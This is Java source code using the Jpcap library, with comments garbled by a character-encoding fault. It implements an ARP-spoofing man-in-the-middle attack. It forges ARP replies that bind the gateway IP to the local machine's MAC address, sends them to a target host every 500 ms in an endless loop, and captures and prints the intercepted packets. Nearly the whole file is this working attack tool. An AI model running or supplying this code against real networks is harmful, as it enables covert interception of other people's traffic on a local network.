public class LocalListener {
private final static String GATE_IP = "192.168.11.1";
private final static byte[] GATE_MAC = {0x00, 0x0a, (byte) 0xc5, 0x42, 0x6e, (byte) 0x9a};
private JpcapCaptor jpcap; //與設(shè)備的連接
private JpcapSender sender; //用于發(fā)送的實(shí)例
private Packet replyPacket; //ARP reply包
private NetworkInterface device; //當(dāng)前機(jī)器網(wǎng)卡設(shè)備
private IpMacMap targetIpMacMap; //目的地IP MAC對(duì)
public LocalListener(IpMacMap target) throws Exception {
NetworkInterface[] devices = JpcapCaptor.getDeviceList(); device = devices[1];
this.targetIpMacMap = target;
initSender();
initPacket();
}
private void initSender() throws Exception {
jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打開(kāi)與設(shè)備的連接
jpcap.setFilter("ip", true); 
sender = jpcap.getJpcapSenderInstance();
}
private void initPacket() throws Exception {
//reply包的源IP和MAC地址，此IP-MAC對(duì)將會(huì)被映射到ARP表
IpMacMap targetsSd = new IpMacMap(GATE_IP, device.mac_address);
//創(chuàng)建修改目標(biāo)機(jī)器ARP的包
replyPacket = ARPPacketGern.genPacket(targetIpMacMap, targetsSd);
//創(chuàng)建以太網(wǎng)頭信息，并打包進(jìn)reply包
replyPacket.datalink = EthernetPacketGern.genPacket(targetIpMacMap.getMac(),
device.mac_address);
}
public void listen() throws InterruptedException{
Thread t = new Thread(new Runnable() {
public void run() {
//發(fā)送reply封包，修改目的地arp表， arp表會(huì)在一段時(shí)間內(nèi)被更新，所以需要不停發(fā)送
while(true){
send();
try {
Thread.sleep(500);
} catch (InterruptedException ex) {
Logger.getLogger(LocalListener.class.getName()).log(Level.SEVERE, null, ex);
}
}
}
});
t.start();
//截獲當(dāng)前網(wǎng)絡(luò)設(shè)備的封包收發(fā)信息
while(true){
IPPacket ipPacket = (IPPacket)jpcap.getPacket();
System.out.println(ipPacket);
}
}}

//IP-MAC實(shí)體，只用于保存一對(duì)IP-MAC地址
public class IpMacMap {
private String ip;
private byte[] mac;
public IpMacMap(){
}
public IpMacMap(String ip, byte[] mac){
this.ip = ip;
this.mac = mac;
}
public String getIp() {
return ip;
}
public void setIp(String ip) {
this.ip = ip;
}
public byte[] getMac() {
return mac;
}
public void setMac(byte[] mac) {
this.mac = mac;
}
}
//ARP reply包生成類(lèi)，用于根據(jù)目的地址和源地址生成reply包
public class ARPPacketGern{
public static ARPPacket genPacket(IpMacMap target, IpMacMap sender) throws Exception{
ARPPacket arpTarget = new ARPPacket();
arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //選擇以太網(wǎng)類(lèi)型(Ethernet)
arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //選擇IP網(wǎng)絡(luò)協(xié)議類(lèi)型
arpTarget.operation = ARPPacket.ARP_REPLY; //選擇REPLY類(lèi)型
arpTarget.hlen = 6; //MAC地址長(zhǎng)度固定6個(gè)字節(jié)
arpTarget.plen = 4; //IP地址長(zhǎng)度固定4個(gè)字節(jié)
arpTarget.target_hardaddr = target.getMac();
arpTarget.target_protoaddr = InetAddress.getByName(target.getIp()).getAddress();
arpTarget.sender_hardaddr = sender.getMac();
arpTarget.sender_protoaddr = InetAddress.getByName(sender.getIp()).getAddress();
return arpTarget;
}
}


//根據(jù)目的地MAC和源MAC構(gòu)建以太網(wǎng)頭信息，用于傳輸數(shù)據(jù)
public class EthernetPacketGern{
public static EthernetPacket genPacket(byte[] targetMac, byte[] senderMac) throws Exception {
EthernetPacket ethToTarget = new EthernetPacket(); //創(chuàng)建一個(gè)以太網(wǎng)頭
ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; //選擇以太包類(lèi)型
ethToTarget.dst_mac = targetMac;
ethToTarget.src_mac = senderMac;
return ethToTarget;
}
}